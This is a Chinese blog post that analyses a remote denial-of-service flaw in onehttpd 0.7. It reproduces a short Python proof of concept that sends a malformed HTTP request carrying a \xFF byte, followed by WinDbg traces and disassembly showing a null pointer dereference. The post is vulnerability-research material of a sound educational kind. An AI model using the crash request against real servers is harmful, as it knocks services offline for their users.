onehttpd 0.7远程拒绝服务漏洞分析

作者:k0shl 转载请注明出处:https://whereisk0shl.top

博客一周年,非常感谢对博客支持的小伙伴们!未来两周博主在外游荡,暂时不更新博客,等博主回来恢复更新,谢谢!


漏洞说明


软件下载:
https://www.exploit-db.com/apps/c95b319ff6ad98fef110303302b1b535-onehttpd-0.7.exe

PoC:

#!/usr/bin/env python
# Exploit Title: onehttpd 0.7 Denial of Service
# Date: 12 Aug 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: https://code.google.com/p/onehttpd/
# Version: onehttpd 0.7
# Tested on: Windows 7 Ultimate English
#            Windows XP SP2 English
#
from socket import *
 
buf =  ( 
"GET /\xFF HTTP/1.1\r\n" +
"Host: 192.168.1.143\r\n" +
"\r\n"
)
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.1.143", 8080))
s.send(buf)
s.close()

调试环境:
Windows xp sp3


漏洞复现


对这个http服务的漏洞表示无语,这个应该纯是开发的失误造成的,问题出现在处理某指针值的时候,会对这个指针值进行判断,如果大于某值,则会正常处理,如果没有大于某值,则会置0,而在置0后后续操作后,这个值会作为一个指针被引用,从而导致当使用一个特定的值(这个值并非只有PoC给出的\xFF,其实\xEF等等都可以触发这个漏洞)时,会由于置0后作为指针引用导致引用空指针,从而造成拒绝服务漏洞,下面对此漏洞进行详细分析。

首先打开http服务,用Windbg附加,执行PoC向HTTP服务端发送畸形数据,程序崩溃,Windbg到达漏洞位置。

0:001> g
(cdc.fe8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=00000000
eip=004015a4 esp=0020fc40 ebp=0020fc58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for C:\onehttpd-0.7.exe
onehttpd_0_7+0x15a4:
004015a4 8a07            mov     al,byte ptr [edi]          ds:0023:00000000=??

可以看到,此时edi的值为0,此时edi寄存器作为指针寄存器被引用,导致了空指针引用,通过kb查看一下堆栈调用情况。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0020fc58 00404202 009d004c 003e2518 00000000 onehttpd_0_7+0x15a4
0020fc98 004045ce 003e26f8 00248dd0 00000000 onehttpd_0_7+0x4202
0020fcd8 00404ae9 003e26f8 0020fcfc 00000028 onehttpd_0_7+0x45ce
0022ff28 00404d41 000007a0 003e2538 0022ff58 onehttpd_0_7+0x4ae9
0022ff58 004010a7 004012f0 00401066 0022ff78 onehttpd_0_7+0x4d41
0022ffa0 00401143 00000001 8061850d 7c92dc9c onehttpd_0_7+0x10a7
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
0022ffc0 7c817067 f199754a 01d1cdf0 7ffd4000 onehttpd_0_7+0x1143
0022fff0 00000000 00401130 00000000 78746341 kernel32!RegisterWaitForInputIdle+0x49

就从离栈顶最近的函数位置开始分析。


漏洞分析


通过栈顶回溯到函数sub_401581,对这个函数入口下断点跟踪。

.text:00401581 sub_401581      proc near               ; CODE XREF: sub_403892+42p
.text:00401581                                         ; sub_4041D4+29p
.text:00401581
.text:00401581 var_1C          = dword ptr -1Ch
.text:00401581 var_10          = dword ptr -10h
.text:00401581 arg_0           = dword ptr  8
.text:00401581 arg_4           = dword ptr  0Ch
.text:00401581
.text:00401581                 push    ebp
.text:00401582                 mov     ebp, esp
.text:00401584                 push    edi
.text:00401585                 push    esi
.text:00401586                 push    ebx
.text:00401587                 sub     esp, 0Ch
.text:0040158A                 mov     eax, [ebp+arg_4]
.text:0040158D                 mov     edi, [ebp+arg_0]
.text:00401590                 mov     [ebp+var_10], eax
.text:00401593                 jmp     loc_401680

单步跟踪到某个位置。

0:000> p
eax=003e2518 ebx=003e26f8 ecx=00000000 edx=00040003 esi=00000028 edi=003e2518
eip=0040158d esp=0020fc40 ebp=0020fc58 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
onehttpd_0_7+0x158d:
0040158d 8b7d08          mov     edi,dword ptr [ebp+8] ss:0023:0020fc60=009d004c
0:000> p
eax=003e2518 ebx=003e26f8 ecx=00000000 edx=00040003 esi=00000028 edi=009d004c
eip=00401590 esp=0020fc40 ebp=0020fc58 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
onehttpd_0_7+0x1590:
00401590 8945f0          mov     dword ptr [ebp-10h],eax ss:0023:0020fc48=0020fc58

地址0040158d位置这里会对edi进行赋值,赋值的内容为函数的第二个参数,单步步过之后,查看一下edi的值。

0:000> dc edi
009d004c  4800ff2f 2f505454 00310031 736f4800  /..HTTP/1.1..Hos
009d005c  31203a74 312e3239 312e3836 3334312e  t: 192.168.1.143

可以看到,此时已经是GET方法接收到的数据了,可以看到/目录,也就是2f后面跟的是ff,也就是畸形字符串,这个ff就是关键,接下来。

.text:00401590                 mov     [ebp+var_10], eax
.text:00401593                 jmp     loc_401680

这里会进行一次跳转,跟踪到loc_401680这个块的位置。

.text:00401598 loc_401598:                             ; CODE XREF: sub_401581+103j
.text:00401598                 cmp     al, 1Fh
.text:0040159A                 setnle  al
.text:0040159D                 movzx   eax, al
.text:004015A0                 neg     eax
.text:004015A2                 and     edi, eax
.text:004015A4                 mov     al, [edi]

这里要重点关注一下al,al其实是eax寄存器的低地址,也就是最低位,那么004015A4就是发生空指针引用函数的位置,记住了al这个关键的位置之后,单步跟踪。

0:000> p
eax=ffffffff ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d
eip=00401598 esp=0020fc40 ebp=0020fc58 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
onehttpd_0_7+0x1598:
00401598 3c1f            cmp     al,1Fh
0:000> p
eax=ffffffff ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d
eip=0040159a esp=0020fc40 ebp=0020fc58 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282
onehttpd_0_7+0x159a:
0040159a 0f9fc0          setg    al
0:000> p
eax=ffffff00 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d
eip=0040159d esp=0020fc40 ebp=0020fc58 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282
onehttpd_0_7+0x159d:
0040159d 0fb6c0          movzx   eax,al
0:000> p
eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d
eip=004015a0 esp=0020fc40 ebp=0020fc58 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282
onehttpd_0_7+0x15a0:
004015a0 f7d8            neg     eax
0:000> p
eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=009d004d
eip=004015a2 esp=0020fc40 ebp=0020fc58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
onehttpd_0_7+0x15a2:
004015a2 21c7            and     edi,eax
0:000> p
eax=00000000 ebx=003e26f8 ecx=00000000 edx=003e2518 esi=00000028 edi=00000000
eip=004015a4 esp=0020fc40 ebp=0020fc58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
onehttpd_0_7+0x15a4:
004015a4 8a07            mov     al,byte ptr [edi]          ds:0023:00000000=??

可以看到,这里先对al和1F,也就是31进行比较,接下来会进行取反操作,这个过程会令eax置0,接下来eax会令edi置0,在004015a4位置作为指针被引用,引发空指针漏洞。

signed int __cdecl sub_401581(_BYTE *a1, _BYTE *a2)
{
  int v2; // ecx@0
  _BYTE *v3; // edi@1
  _BYTE *v4; // edi@2
  char v5; // al@2
  char v7; // dl@13
  char v8; // si@17
  char v9; // al@17
  int v10; // ebx@21
  _BYTE *v11; // [sp+Ch] [bp-10h]@1

  v3 = a1;
  v11 = a2;
  while ( 1 )
  {
    if ( !*v3 )
    {
      *v11 = 0;
      return 0;
    }
    v4 = (_BYTE *)(*v3 > 31 ? (unsigned int)v3 : 0);
    v5 = *v4;

最后来看一下伪代码,v3就是a1,也就是接收到的数据包,这里会对v3指针进行判断,如果不大于31,则会置0交给v4,v4在接下来作为指针被引用,从而导致了拒绝服务漏洞。

正常情况下,v3的值都是符合条件的,也就是类似于ABC123这样的可读的ASCII码,但开发人员显然没有考虑到自己构造数据包的特殊情况。

Comments
Write a Comment